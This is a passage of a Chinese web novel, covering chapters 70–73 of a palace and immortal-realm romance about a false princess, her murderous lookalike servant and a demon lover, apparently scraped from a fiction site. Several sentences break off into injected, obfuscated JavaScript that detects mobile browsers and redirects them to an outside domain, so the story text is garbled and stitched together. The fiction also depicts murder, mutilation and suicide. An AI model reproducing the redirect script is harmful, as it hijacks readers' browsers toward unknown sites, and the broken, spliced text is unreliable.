公主的眼睛一直很明亮,却没有这般到达心底的喜悦。 喜悦到流利婉转的嗓音都滞涩。 “……六郎。”她忘却方才正襟危坐的自己,掀开帘子疾步上前。 对于出现在自己面前的华服少女,傅钰从震惊到不可置信,再到喜,到狂喜,眼中承载的汹涌情绪要把自己和眼中人都吞没。 秦英并不想看才子佳人你侬我侬的场景,和市井话本上写的如出一辙大同小异。他不理解,看着也不舒服,于是收回视线,准备悄然离去。 可离去时,他又有些恶劣地想,如果他现在走出去会发生什么? 这金相玉质的傅六郎看到公主身边近侍和他长得如同胞兄弟时,究竟会怎样想?是会高兴,还是会恼怒? 可他不会这么做,因为公主会生气。 · 傅钰才发现,宣召他来的公主,竟是多年不见的杜若。 那是他的小草啊。 傅钰急切地想了解多年来杜若的遭遇。 “父母将我送入王府,半年才回一趟府中,再回时,他们说你已经离府,我找了很久都没找到你,没想再见你,你就是公主了。” “六郎,过去的已经过去。我们又重逢了,就像话本上一样,‘历经磨难,终归团圆’,岂不是很好么?” 傅钰的笑容和当年一样清澈,像幽静山林里的涓涓溪流涤荡她内心所有的尘埃。 傅钰似是鼓起勇气,握住她的手,“既然失而复得,日后、日后……”他微红了耳根,“妹妹可愿将自己交给我,我一定不让别人再欺负你。” 她听着他诚恳的语气和直白的话语,竟也渐渐红了脸颊,她慢慢垂下眼睫,不知道怎么回应。 傅钰以为她是害羞。 “妹妹……”他开口,杜若却忽然啊了一声,眼神有几分慌乱躲闪。 “妹妹不愿?”他有几分失落。 杜若不想自己的心事被看出,故作轻松一笑,“怎会?我开心还来不及。” “也是,我现在不过是一个郡王伴读,论出身也是平民,怎么配得起公主殿下呢。等我考取功名,再来也不算委屈了妹妹。” “六郎若考功名,那话本可还写么?” “自然写,妹妹想看什么,我就写什么。” 杜若笑着点头,两人双眼相望,如有春水悄流,静默无声却胜千言,她低垂着眉眼柔顺地倚靠在傅钰肩上,而傅钰则抬袖扶住了她的肩。 小时情愫如月边雾色朦胧,重逢既喜,便也大了胆子拨雾见月。 杜若虽无比激动,却没强留傅钰,也并未通过权势和金钱让梁王把傅钰让给她,只是说当差得空时,记得来见她,说罢将她的贴身玉佩给了他,让他可随意出入嘉怡殿。 秦英觉得这对行事一向霸道的公主而言,她的宽和就是最大的情意。 其实也并不是宽和,只是杜若想起一些往事,偶尔也不知道怎么面对傅钰。 自傅钰来了后,杜若行事倒一日比一日平和。 平和到秦英觉得有些无趣。 不用再掏钱买消息,不用惩罚刁奴,不用和妃子斗智斗勇,不用再三天两头往燕王那跑说公主又弄出什么新鲜玩意儿等他来鉴赏…… 可不替公主做这些,他又有什么用呢? 傅钰来了,公主就不需要他这个“替身”了。 真没意思,还不如不来。 直到有一天,傅钰难得沉着脸来嘉怡殿,那天秦英又照例退下,把空间和时间都让给他二人。结果重回殿里时,他发现杜若自己坐在椅子上哭,整个手都在颤抖。 他叹口气握住杜若的手,温声问她怎么了。 杜若抬起头,那梨花带雨的泪眼看得他心中一窒,她颤着问他:“当时傅铭在禁室里,你是怎么罚他的。我、我不是只让你把他打一顿,再阉了……” 秦英有些错愕,这事已过去许久,他如实道:“玩玩他罢了,给他身子里扎了些东西,刺了点字,这种歹人,不弄死的前提下惩罚他有许多花样,公主当时也并没过问。” 杜若红着眼睛怨道:“我不过问,你便由着自己性来了。那傅铭疯了,回去脱光满大街的跑,已成了城中笑柄。傅夫人大病不起,傅钰本想趁吉日将我们的事告诉傅夫人,求段姻缘,能冲冲喜,结果反触了霉头,被傅夫人大骂一顿,如今他什么都知道了,我怎么办?” 秦英抿唇,“公主何不把傅铭对你做过告诉他?” “我疯了,我还告诉他!告诉他什么,告诉他我被傅铭侮辱到不能生育?世上有几个男人能接受自己的女人有过这样的遭遇?” 说完这句话,不知为何杜若脑海里浮现一双似珠宝寒剑的俊丽眉眼。 心中一惧,她摇摇头。 秦英并未安抚她,而直白道:“如今他就能接受么?害兄之仇、母亲之恨,就能和你像之前一样亲密无间么?如今悔有何用,当初惩罚傅铭时,公主没想过今天吗?” 杜若被他这话气得站起来甩了他一巴掌,“你、你吃了熊心豹子胆,敢对我这样说话!” 秦英跪在她身下,看着她那绣了凤凰纹样的红色裙裾,眸光微沉,“忠言逆耳,横竖都不行,公主不如向他全盘托出,搏一搏傅六郎的情意。他若真疼你,听了后只会更怜你。傅府曾对你家人如何,他可都是知道的。” · 杜若想了好几天,觉得秦英说的有理。她于是试了,亲自出宫到梁王府,从早到晚等傅钰,和他斟酌着全盘托出。 流泪是杜若的强项,从前在郑思如面前她已将这项技能顿悟地出神入化,尽管后来郑思如似乎看穿且有些疲惫。可傅钰还是第一次看她哭得如此楚楚可怜,当时就什么都忘了,只觉得内心一片酸楚愧疚。 忠孝两难全,私情也亦然。 傅钰也活在挣扎中,一方面他不能为私情忽视家人所遭的劫难,另一方面他又无比心疼和愧疚杜若身上发生的一切。 仍然是记忆里他梦中会喊名字、会深深思念、割舍不下而想照顾的妹妹。 “六郎是真爱我的。”在宫中,杜若的脸上又浮现了顺心如意的笑容。 生活又恢复平静,生活一平静,便显得无趣。 当然,很快就不无趣了。 半年后的夏日,六月初十这天起,傅钰彻底与杜若断交,任杜若怎么求见他也不见。 温柔文人的缄默和避让,就是他最大的怒。 傅铭死了,而且死得很惨。 据目睹的人说,傅公子活着的时候已经那么惨,就连走的方式也很可怜。 即便傅铭的口碑不好,可论长相倒也勉强风度翩翩,算是俊俏,何况又是大富人家的公子。怎么落得如此残忍悲凉的后果。 仵作说,傅铭是他杀,杀他的人用剑,剑剑致命,浑身是血,看不出人形,一定是有什么深仇大恨,要么那人就是个疯子。 官府找不到那个人。 傅夫人咬死了是燕宫那位公主的问题,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听闻此言,杜若微慌,隐秘的心事被戳中,“你……你胡说什么?” “傅六郎能给公主的,秦英给不了;可秦英也能给公主傅六郎给不了的。” “你……你又能给我什么?” 秦英抬眸,“全心全意,我的所有,我的生命。” · 杜若躺在床上时,脑中乱糟糟的。 同一张脸,一个温纯的笑着对她说,小草,我想和你交朋友;又说,妹妹,我来照顾你。另一个沉静地跪在地上和她说,全心全意,我的所有,我的生命。 温纯的,像天边皎洁的皓月。 沉静的,和她一样,她若是草,他就是泥、是尘埃。 还没等她想出个所以然,忽然有人闯入内寝,还没等她呼救,她便被人捂住了嘴。 她不仅被捂住嘴,还被掐住了脖子。 “终于找到你了。” 黑夜中,妖冶如血的眸和隐隐散着血光的颊边符咒分外诡异。 这红,比以前的颜色更艳更盛。 杜若因恐惧睁大了双眸。 “若若,你害怕我?当初你我日日缠.绵,如今你害怕我?你怕什么呢,怕你的不辞而别惹怒了我么?” 杜若的呼吸确实也急促起来。 “你确实惹怒了我。” 一声听不出情绪的轻笑。 “你说我是神仙,是行侠仗义的剑客,说多了,我真当自己是神仙或剑客。可后来我才回想起来,我是魔,不是仙。” 71. 金玉有本质(8) 月影愈深,杜若紧抓着锦衾的手渐松开,呼吸也渐从急促变得平缓。 捂着嘴的手已放开,她扫了眼那仍掐着她脖子的手,又抬眸正对上血红的眼眸,低声问道:“魔,会杀我吗?” 郑思如没说话,却渐渐加了手上的力气。 杜若阖眸,面容平静,可他却借月光看出一丝她脸上似笑非笑的意味。 “你笃定我不会杀你。”他道。 杜若又睁开清凌凌的水眸,那秀色恍惚间却有些冷,“何必来找我?” “为何要走?既然要走,一开始为什么要和我在一起?” 月寒似水,星冷如霜,浅淡凉薄的颜色照在乌发鸦睫、雪肌红痣上,人美如玉,愈发不真实。这不真实的景象又都被他收进眼底,与千万个日夜所思所念的影子重叠。 重影须臾又破碎湮灭。 杜若嫣红的唇像开在枝头最招摇的花瓣,说出的话却比严冬的雪更寒。“玩玩罢了。” “玩玩?”他仿佛听到了世界上最荒唐可笑却莫大悲哀的事,放在她脖上的手也倏地松开。 杜若起身,锦衾滑落,露出一片霜白凝脂和朱红绣棠花的诃子,她绸缎一样的乌发披在娇瘦的肩上,纤指覆上郑思如的唇,娇声软语道:“哦,别生气呀……那我说委婉些,我们是各取所需。你需要我的皮囊,需要与我的鱼水之欢,而我需要你为倚仗,需要你填满我的寂寞和孤单。不是吗?” “你怎会……你怎能……” 这样的话如此陌生。 这样熟悉的容颜也如此陌生。 郑思如眼中的滚烫也因这陌生而一点、一点地凉下去。 她只是冷漠却又很热情地笑着问他:“我为何不会,为何不能?思如哥哥,你真的很爱我吗?” “我宁愿不是。” 话音刚落,她却掀开锦衾从床上爬起来,双手揪住他的衣襟,鼻尖抵上他的鼻尖,被他如火的眼眸倒映的眼中也有微红,“郑思如,你爱的真的是我吗?” “什么意思?” “你爱的是我吗?我们亲密之后,我们同睡一寝时,我睡在你的身边时,我也彻夜难眠过,你知道吗?”她语气轻快地诡异丝毫不见悲伤,甚至弯起了眸子,又露出那种探寻的神色,“你大概不知道,你偶尔也会说梦话的,你在梦里最喜欢喊的是……” “是什么呢?”她的眼神像羽毛轻柔又挑衅地扫过他的胸膛、他的喉结、他棱角分明的下颌,最后到唇。 她去吻他的唇角,攀着他的脖,朱唇凑近他的耳朵。 “是师姐。” “你在梦里低语,我凑得很近才听清楚那一声声是师姐、小师姐,小师姐是谁?思如哥哥,这么让你爱的,爱到躺在我身边也要思念也要牵挂的人到底是谁?是你在天上的爱人吗,是你宿命的姻缘吗?” 每说一句,郑思如双手便紧握一分,他想开口,杜若抢先一步,“你该不会说,我就是她吧?轮回转世,三生纠葛……抱歉,这样的话本十年前就没人看了。哦……就算是转世,她是她,我是我,哥哥可不要弄混了。不过我也不在乎是不是替身,反正你我皆有爱而不得之人,互相取暖,了以纾解罢了……” 郑思如不想再听她如梦的低语,将她推倒在榻,她双手伏在锦衾上,却回首对他柔媚一笑,眼见着他脸上的赤色符咒蔓延地愈发散开,眼神愈发阴鸷。 四世劫难里,唯有杜若能轻而易举地勾动他的心魔和欲念。 花枝交缠在雾深处,银铃摇曳在月明时。 他不再伪装,紧闭着双眸唤她师姐。 少时不谙世事抱着他撒娇玩闹的师姐,面对浩瀚世界满目憧憬的师姐,御剑飞行身姿如仙的师姐,和他决斗招招无情的师姐,结下封印转身离去的师姐,痴心错付悲苦一生的师姐……还有,说下一辈子要早些遇见他,只为他一人花开花落的师姐。 孰为真,孰为假? 而她在细碎婉转的低吟中含怨带怒,仿佛享受却又不甘道:“思如哥哥,你记着,我叫杜若,我叫杜若。” 这个世界仿佛也要震荡崩塌,和以往相比都那样扭曲不真切。 他们都不像他们,可他们又是他们。 在隐秘的夜,捅破了所有的窗纸,臣服于月光下的欲海孽渊。 · 梦醒时,不知是谁的墨发交缠在一起,就像它们的主人在梦中时一样。 杜若伏在郑思如身上,指尖勾起一缕发,道:“你再不起,就要被我的婢女侍臣发现了。” 郑思如于是起身穿衣,拿起剑就要离开。 杜若从后面环住他的腰,“哥哥,以后做我的一把刀,好么?” 一把漂亮又危险的宝刀。 她想起初见时他那双锐利俊秀的眸。 她把他推到镜子前坐下,为他绾发,又从妆奁中抽出一条白色云纹的绸带覆上他赤色的眸眼,在脑后系成结。 “留在我身边,哪也不去,一直一直保护我,成为我的一把刀。” 郑思如沉默半晌,最后只说了一句话。 “我一直都是你的刀。” · 秦英发现公主身边不声不响多了一个侍臣。 比他高,比他壮,比他而言,是个真正的男人。唯一不好的是,公主说他有眼疾,常年眼上缚绸带,不得见光。 但公主似乎依旧很宠信他,即使在人前,她也常依偎在他身旁,像没有骨的软柳。 这让秦英心中很不舒服,而更让他害怕的是,公主不再吵嚷着去打探傅钰的消息了。 他有时候在想,这皇家的人似乎都是这样,他们的心可以割成很多份,分给不同的人和事。人有钱有权就会变贪心,也或许人有钱有势就能得到,既然能得到,就不需要只钟情于一。 但也又或许,他们这样的人,谁都不爱。 秦英摇摇头,他只是一个奴仆,这些不该想。 他只是感觉,公主在燕宫的权力好像越来越大,不知道什么时候开始,司珍坊开始归公主管,原来的掌珍其实一开始并不怎么和公主打交道,如今却对她诚惶诚恐、毕恭毕敬;而后是司制局,再后来是锦绣阁……到最后,尚宫局开始归公主管。 又不知为何,燕王似乎并不知道这些,又或是他知道,但他纵容。 而他的作用就是帮公主打理好这些宫中事务,至于这事务怎么来的,怎么到公主手上的,他也不清楚。 公主下令建造一座高楼,一座燕宫中最高的,藏有无数珠宝的高楼。 这高楼有个挺俗气的名字,叫参天楼。工期很长,约有五载。 建造参天楼时,公主又往梁王府去了几次,每次都是去见傅钰。 公主去见傅钰时不会带上那个蒙着眼的侍臣,也不会带秦英,孤身前往,每次前往前,都要精心打扮一番。 秦英听公主带去的小婢女说,公主每次去都说差不多相同的一番话。 “六郎,你理理我。” “六郎,傅铭不是我杀的,你信我。” “六郎,你的手稿我誊抄了一遍,你看看我的字写得好不好。” 公主叫他秦英,叫蒙眼的侍臣哥哥,只有叫傅钰时如此小心翼翼却又充满情深意重地喊六郎。 郎啊郎。 秦英所见,公主在他面前是高高在上、阴晴不定的公主;在蒙眼侍臣前是柔若无骨的女妖;只有在傅钰面前只是一个,符合她年岁的小姑娘而已。 他羡慕,可傅钰不领情。 公主屡屡造访,到后面,傅钰终于肯开口说话。 他说:“命中无缘,妹妹莫强求,原也怪不得你,我是恼这天道无常罢了。我每看见你,其实就知道我心里也放不下你,可我若不辜负你,又有何颜面见我兄地下亡魂,如何向母亲交待,如今只能叹造化弄人。今后,各寻因缘吧。” 他送给公主一本书。 是他的诗文,名曰《春草集》,写于如春的少年时。 初生棠花不知愁,足与春风竞风流。 急煞廊外看花人,不知花向何处求。 据说公主哭得当时所有人都不忍心看了。 “为何如今便不求了?” 傅钰亦红了眼,摇摇头便走了。 秦英生气,不知是气公主没骨气,还是气那张和自己差不多的脸不识趣。 也许是那傅钰的娘不识趣。 听傅钰的话,是他一定要给那什么娘一个交代才拒绝公主。如果那个娘不在了,是不是也不要交代。 秦英借着回家探望父母的由头,去了趟傅府。 傅府的人竟然没认出来他不是他们的二少爷,一路畅通。 只有傅夫人看出来,不知为何她眼中有莫名的激动…… 看出来也没用。 “多事的老太婆。” 他面无表情地把凉透的傅夫人扔进井里,若无其事地离开傅府,用大袖遮住自己的手。方才一番搏斗,他勒住她的脖子,捂住她的口鼻,在她没有鼻息前被生生咬断一截小拇指。 她的牙咬得真紧,任他怎么掰都掰不开,他也不想面对这张面孔,便赶紧处理了。 回去后,谁也未曾发现秦英的手有什么异样。 直到傅钰公主府前求见。 直到他面无表情地展开一方帕子,将一截腐烂发臭的断指和一枚嵌几颗小明珠的玉戒指展现在人前。 傅钰看上去很憔悴,不像之前那个如竹如月的清秀公子。 “宫中独有的明珠玉戒,是谁的?” 杜若看一眼就知道是谁的。 “六郎,这……这是怎么回事?” “我娘死了。”傅钰素来温和的双眸第一次出现了恨意,可他声音平淡道:“她被人勒死,抛尸井中,嘴里咬下了凶手的尾指,和一枚戒指。” 杜若怔住,满脸不可置信。 “你真的不知道吗?”傅钰道:“我兄长死了,我母亲死了,你都不知情吗?我家所有悲剧的起源,似乎都来源于公主府对我兄长的一次传召吧。天大的怨恨,也该随他死去而停止,为什么还要到我娘身上?” 杜若哑口无言,被他激烈的言语弄得往后趔趄退了一步。 她下意识往身后看去,可今日郑思如不在她身旁,被她支开做了别的事。 “小草,我们怎么会变成这样?”他问。 “当年的事我很抱歉,可为什么会成现在这样?你告诉我好么?” 杜若摇头,又往后退一步。 她只能说:“我没有……” 傅钰难得愠怒了,“你没有,是你指使谁做的?宫中才有的东西,我去问了司珍坊,这东珠是嘉怡殿特有的,旁的宫里都没有,你还想说什么!” “你娘是我杀的。”一道冷静的声音传出,一个内侍打扮模样的青年走了出来,两张如此相似的容貌同时呈现在众人面前。 杜若怒道:“你出来做什么?!” 秦英从来遵循她的话,有傅钰的地方他从能不出现,今天却走出来,他心中很是舒爽,像从黑暗中走到太阳下一般。 傅钰望着他的容貌,下颌微颤。 秦英很冷静,伸出右手,那截断处已然发黑,他未做处理。 “你娘害死那么多人,这些债,她早该偿还,死了不亏。” 傅钰看着他悲哀地摇摇头,竟是哭一般地笑了几声,“你又是谁?” “我叫秦英,公主爱你,才收我在身边。我秦英能有今日,还是谢谢傅公子你这张脸了。” “秦英,秦英。”傅钰念道,“你生辰是何时?” “问我这作甚,具体不知,只知道是二十年前的冬天。” 傅钰大笑,泪却落满脸颊,“二十年前的冬天,我家对外称是生了一个男孩六郎,其实那是双胞胎。生子那天,那嬷嬷睡着了觉,我娘正虚弱,我爹的姨娘秦氏和一个下人趁乱私奔,还带走了那个男孩,并留信说一旦声张或报官就要杀了那男孩,因此一直暗中探查,却从无消息。” “你不叫秦英,你原本叫傅锳,七郎傅锳,我的同胞弟弟。” 当初抱一个孩子,其实是作为逃跑的人质。 后来秦姨娘和下人有了自己的孩子,无法维持生计,就把唯一不是自己孩子的秦英送到了公主,成了太监。 换来他们此生荣华富贵。 久久的沉默。 秦英的轻笑打破了沉默。 “傅钰,说这么多有什么用?”他道,“你来,不过是想向公主讨个公道,我也可以告诉你,从一开始,所有的事,你兄长的死,你母亲的死,都是我一人所为,和公主无关。” “因为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听说傅钰出家了。 而郑思如回来了。 “你不好奇我为什么要把你把这对母女赶出燕国吗?” 她根本听不见任何人的回应,但她自顾自说下去,“因为我的公主身份是偷的,我听闻宫内在寻她们,又恰巧知道了她们是,又恰巧听到了她们的对话,又恰巧和那真公主同岁……总而言之无巧不成书,我倚仗她们成了真公主。所以,她们离得越远,我的富贵就越长久。” 郑思如的角色不过是另一个秦英。 “从前傅钰教过我一首诗,诗上说‘金玉有本质,焉能不坚强’。这世上真会有这样的人么?依我看,这世上哪有金玉,都是一些破铜烂铁罢了。” “傅钰是,所以他‘惟在远炉灰,幽居永潜藏’了。” 命运就是这样奇特,那对燕王遗落民间的妻女其实也并不想回来,隐姓埋名二十年没被发现,却因为被赶出去,路上惊动了地方官员,被发现了。 燕王这才幡然醒悟,想起之前对假公主的疼爱和纵容,一阵恼火。 又探查到假公主以权谋私,大敛财宝,动用合宫之力建造豪楼,奢侈享乐。 其实分明都是他默许的,可身份一转变,这些便都成了罪状。 宫中侍卫要捉杜若去见燕王时,杜若正立于修建好的参天楼上。 危楼高百尺,手可摘星辰。 “从小娘就说,许多事都是命,所以我时常觉得命数是注定的,时至今日也是如此。我像一个牵线木偶,被人指引一步步走到这里,而我的周围有无数看客,他们看了我的故事,会笑,会哭,会不屑一顾,还是会冷漠视之呢?我的人生就是一出早已注定的话本。” “那我话本中的这些人物,他们的命运是否也是早已注定。思如哥哥,你说呢,你的命又该如何?像你这样的神仙妖魔,命又由谁来断?” 郑思如已习惯了她耳聋后的自说自话。 其实失聪后,她说话的音调文字也不大准确,听时常需费一番力气。 她对郑思如缓缓说道: “你知道为什么这楼要叫参天楼么?有宫人夸我是为参天祭祖而作,有宫人猜是出自《汉书》的‘太白出西方六十日,法当参天’;有人猜是《淮南子》的‘越人学远射,参天而发’;还有人猜是出自《中庸》的‘可以赞天地之化育,则可以与天地参矣’。” “他们想太多了,因为参天大树。” “我要站的比所有人,我以往站过的所有地方都高。因为我不是小草,我是参天的大树;我也不是飞得矮矮的麻雀,我是能飞十万里之高的凤凰。” 她今日打扮庄重,金线绣凤凰的朱红宫袍繁复华丽,云髻缀满金钗宝石,璎珞项圈珍珠项链皆有,纤细的手腕上银镯玉环叮咚作响。 像一个华服珠宝的架子。 郑思如忽然想起最开始,他第一次见她,带她去买这些物什。 他便把她打扮成这个模样。 因果两相照。 因缘从何时开始触碰、纠缠、变形,最后到了今天。 侍卫很快寻到参天楼。 她对郑思如说:“我并不遗憾,也不后悔,也不觉得有什么可惜。我有爱的人,也有爱我的人,有为我而死的人,拥有了这么多。还有这些华服珠宝,该享受的也享受了,再多也没必要。并非这世上不容我,是我玩够了。” 登高眺望,临风而立,飘飘若仙。 侍卫一层一层上阶梯,一楼一楼靠近。 在翻过栏杆的前一刻。 她笑道:“我是大树,也是凤凰,傅钰说凤凰浴火涅槃,今日无火,想来不会有来世了。” 热烈翻飞的红衣在高空恰似火凤飞舞,又像枯萎的红叶被风吹打无所适从。 短暂而空洞的一生就如同这飘落的红叶。 她一跃而下的一瞬郑思如扯下眼上束缚,以极快的速度飞到杜若身边,他嗅知她的死意,并未阻拦,与她同时坠落。 恍惚中他似乎看见杜若睁开了眼,那是杜若的眼神,又不像杜若的眼神。 那是师姐清冷却又带着悲悯的眼神。 “含元,放下执念……” 然疾风中,他听不清,也看不清了。 他本想渡她,却无意被渡化。 四世情劫凝结的心魔散去,落地那一刻,他化成巨大的火莲,又破碎散成火焰,火焰拥着血花,迅速蔓延在参天楼下。 这一世,同归尘。 72. 焉能不坚强(1) 不知是何种原因,王心若和郑含元都对第四世情劫的记忆非常模糊,只隐约记得大概,哪怕在镜界回味过,细节却总转瞬就忘。 但第四世情劫结束后,三界发生过一件大事。 墮魔道后,被封印在无道荒海的郑含元法力陡增,恢复到全盛时期,破了王心若的万年封印,还把阎王老巢给一锅端了。 从此冥京万鬼臣服于他,被逐出天界的散魔拥有了一方势力。 王心若知道郑含元一向不是爱管事的性子,所以她下意识想知晓他这么做的原因。 “听说郑师兄破封印之后,直接闯进冥京丰都阎罗大殿向阎王要一个人的下落,说要把那人魂魄撕碎骨灰扬了。阎王不肯,说‘天地自有规矩,人间恩怨人间了,不准干涉冥京事宜’……师姐,你也知道师兄那脾气,当时火就起来了。” 任流光那时是这么和她说的。 就为这个,郑含元索性把冥京原来那帮鬼差痛打一顿,自己做了冥京的主。 剑下还是能出大孝子的。 阎王也不敢再说那些话,从今往后郑含元才是他的王,他成了小弟。再后来,郑含元麾下有了白骨郎君和黑龙郎君两员得力干将,就放老阎王退休了。 思及此,王心若道:“含元被困至此,万里鬼域十二城无主,混沌界倒无所谓,不知道妖都和冥京怎么样了?” “是啊……之前果果联系不上白骨,鬼域和外界彻底断了联系,没了动静。” “罢了,如今顾不得许多,先给他护法。” 二人凝心静气,为这铁索纵横的阵法中燃烧着的黑莲护法。 既白山像漩涡之眼,外界灵力源源不断汇聚于此,不得逃离,而汇聚到山中的灵力又顺着铁索连环交错着没入火莲之中,吞噬地干干净净。 一天、两天…… 一月、两月…… 一年、两年…… 变化一点一滴并不明显,可潜移默化中,那火莲愈发炽热巨大。 不知多久的一天,火焰剧烈燃烧,火舌如蛇围绕着铁索陡然蔓延开来,“轰——”地一声巨响,火焰向四周炸裂,极其刺目的光亮将满是岩浆晕着红光的混沌界照得如同白昼。 炸开的火星直冲着王心若和任流光而来,两人完全没想到,而可跑的范围也太小,法阵也未来得及结起,于是只能闭上眼生受这滚烫火星。 不过,火星似有感知,在落到他们身上那一刻默然消失。 两人缓缓睁眸,发现原本诡异铁链锁着的玄色火莲消失不见,而在铁链阵法前,出现了一个人。 那人背对着他们,身穿一袭银白云渚道袍,骨簪素带高束乌发,披散在身后,宽肩窄腰,身姿颀长,银色腰带上松垮系了个木瓢酒壶。 那人动了动手腕,舒展舒展身骨,才回身,露出一张俊美无俦的容颜。 他的眼眸常让人感叹神工天赐,眼皮上的一层深痕随着睫毛的弧度一同深入眼尾再轻轻荡开,眼珠似剔透的墨色宝石,形状颜色艳绝却毫无女气,似笑非笑时更透出一丝凌厉。 这种长相穿起飘逸的云渚道袍,像个妖道。 这双眼很容易泛起不耐的神色。 这张薄红的唇凡张口,一般说出来的话都不会太温柔。 所以温柔又耐心的时候,就格外让人沉沦。 而那人开口,破坏了这份心境——“若若这么盯着我看,我都要不好意思了。” 王心若冷漠地收回视线,从方才的思绪抽离。 “师叔有什么不好意思,我看的是他,又不是你。另外,这种亲密的称呼,不适合从你嘴里喊出来。” “现在都一样。”顶着郑含元容颜的擎光笑得毫不在意,而那漫不经心的表情和他身体的主人十分相似。 任流光在旁边看了看擎光,又看了看王心若,他指着擎光道:“这……师姐……这……师兄……” “擎光师叔现在没有自己的实体,他要借含元的身体,掘开空明山拿回真身后,才能把含元还给我。”说这些话时,王心若一次也没往擎光那边望去。 擎光却好像故意一样,偏要走到她眼前 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“事不宜迟,我们即刻出发,开山取身。”十年已过,纵然仙人寿数漫长,她也不想再于混沌界蹉跎。何况擎光脾性太爱“玩”,反而让她不安,这些脾性诡谲之人,大多才是最防不住的。 “不急,开山得须趁手的工具,和恰当的时机。” “何种工具?何种时机?” “需炼制一把开山斧。” “怎么炼?” 擎光道:“炼也不难,请你厉川两个师弟来就能,主要是材料不好取。” “那……需要什么材料呢?”任流光问道。 擎光静默片刻,敛起无所谓的笑意,幽幽念道: 混沌无间火,荒海海底沙。 瑶池水上莲,凌虚竹生花。 妖王脊背骨,鬼帝心头血, 人尊动情心,至仙无上法。 73. 焉能不坚强(2) 每一字,每一句都让王心若感到开山是一件非常艰难的事。 她望向孤岩旁的滚滚岩浆,上面偶尔迸发出星般火焰。 “混沌无间火……”她微眯双眸,揣测道:“混沌界仙鬼皆噬的岩浆,就是‘无间火’么?” 三界辽阔,天界关于混沌界的记载亦是语焉不详。擎光每一句都像暗藏玄机,她也无法确定。 擎光嗯了声,“具体来说,这些岩浆的源头有一座山,山里有一簇火,此火名‘无间’,是这混沌界所有岩浆火焰的源头。” “它的火流我们尚且无法触碰,又该如何取它?” 擎光朝她一笑,“你们随我来便是。” 他从孤岩往流动的岩浆走去,停在岩边,回身对任流光道:“你,化剑。” “啊?” “化便是。” 任流光看他唇含笑意,眼神却笃定,和王心若对视一眼,便听从他的要求化为金光流渡的剑身,和游日月一同被王心若背在身上。 擎光又看向王心若,拍了拍自己的肩膀,“上来。” 王心若:? “顺着岩浆逆流而上才能溯源,难道若若不惧这岩流,能自往寻之?” 无法反驳,王心若黑着脸走到他身后,环着他的脖子被他背了起来。 在混沌界什么灵力都不管用,何况她现在境界只能地黄境,早比不过从前,只能用这么原始的方法渡过此境。 擎光背着她踩上一方漂泊在岩浆中的碎岩石,不知施了什么妖鬼邪术,这碎岩石竟逆着火浆往相反的地方飘流而去。 违背常法的景象。 “若若,咳咳……不要勒这么紧,你放松些。”他道。 “……多事。” 她因不想过多接触,所以身子像僵直地挂在他脖子后,擎光只好用力地往上拖了拖。 只是此刻,王心若突然想起当时她还是云若时,也这么背在郑思如身上过。那时候他们都受了伤,郑思如还带她去一重天看了他的画像。 那大概是他们为数不多的好时光。 你什么时候把他还给我?她想问,可还是忍住了,开口变成:“荒海海底沙怎么取?” “那地方你不用去,我自会取。” “为何不用去。” “你情郎都讨厌的地方,你难道会喜欢?” 王心若沉默了,郑含元曾和她提起过,无道荒海下一片黑暗荒芜,他讨厌得紧。从前禁镯束缚,她从不想太多,如今回味起来,却颇不是滋味。 她气他开口就是火药味四溢,他气她一言不发就开打。 他们从不会向彼此服软,也从不敞开心扉。 擎光顶着同一张脸,穿着云渚道袍出现时,让她恍惚以为回到他还未曾墮魔的遥远从前。 敛起思绪,她微不可闻叹了一声,接着问他:“瑶池水上莲,凌虚竹生花。是一重天的瑶池水莲和二重天凌虚空谷的翠竹林吧?空谷翠竹百万年长青,又怎会生花?” 人间言,竹子开花,必要搬家。一竹开花,则竹林皆同时开花,花开实生,竹子枯死,天降灾殃,是为凶兆。 “瑶池水上莲已经不需要去寻了。” “为何?” “因为她已经死了,你舍弃你的真身时,这一条因果就已经断了,自然也不需要再寻。” “因果断了……”她皱起眉,“瑶池莲指的是我,那凌虚竹……不对,阿淳是一株柳啊。” 许道淳也和她说过,原身是二重天凌虚空谷一株柳。 擎光道:“天柳至柔,天竹至刚,是柳是竹,非柳非竹,想来你也没见过他的真身。只是仙生心魔,与竹生花又有何异?” “师叔的意思是,要把阿淳的心魔捉去,炼成你开山的法器?” 擎光感到她言语中暗藏的愠怒,并不反驳,只道:“若若并不需要说的如此直白。” 王心若冷笑道:“妖王脊背骨,妖王是谁?鬼帝心头血,鬼帝又是谁?自含元一统地界,妖魔鬼怪都属他管,你该不会要他身体,又要他取出脊背骨,又要他的心头血吧?” “鬼帝自然是他,不过你放心,郑含元耐造,区区一滴心头血有何难,我保证让他舒舒服服、毫无知觉地取出来。至于妖王大概……还未出世吧,我尚不确定,后面我们一起妖界走一趟,如何?” 王心若没搭他的话,又问:“那人尊动情心?” 擎光道:“这也不需再操心,我有。” “你有?”王心若疑惑。 擎光挑眉,“你想看吗?” “看看。” 这擎光总不会掏出个人心吧,想那画面,王心若一丝恶寒。 擎光右手从袖中不知哪个地方拿出个东西,放在王心若摊开的手上,那东西有些灼热,起初微烫,后面才逐渐变温热。 王心若拿过一看,才发现是一颗晶莹剔透泛红的圆珠,外表上平平无奇,她将它抛了抛,在手中颠了两下。 这回换擎光无语,他颇有些不满,“……好歹是人尊之心,怎能如此轻率对它。” “这哪里是心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137555|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 